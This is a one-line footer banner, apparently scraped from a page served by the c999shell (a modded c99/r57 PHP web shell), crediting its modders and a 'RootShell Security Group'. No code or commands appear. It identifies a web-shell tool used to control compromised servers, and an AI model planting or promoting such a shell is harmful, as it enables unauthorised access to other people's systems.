--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0183 ]--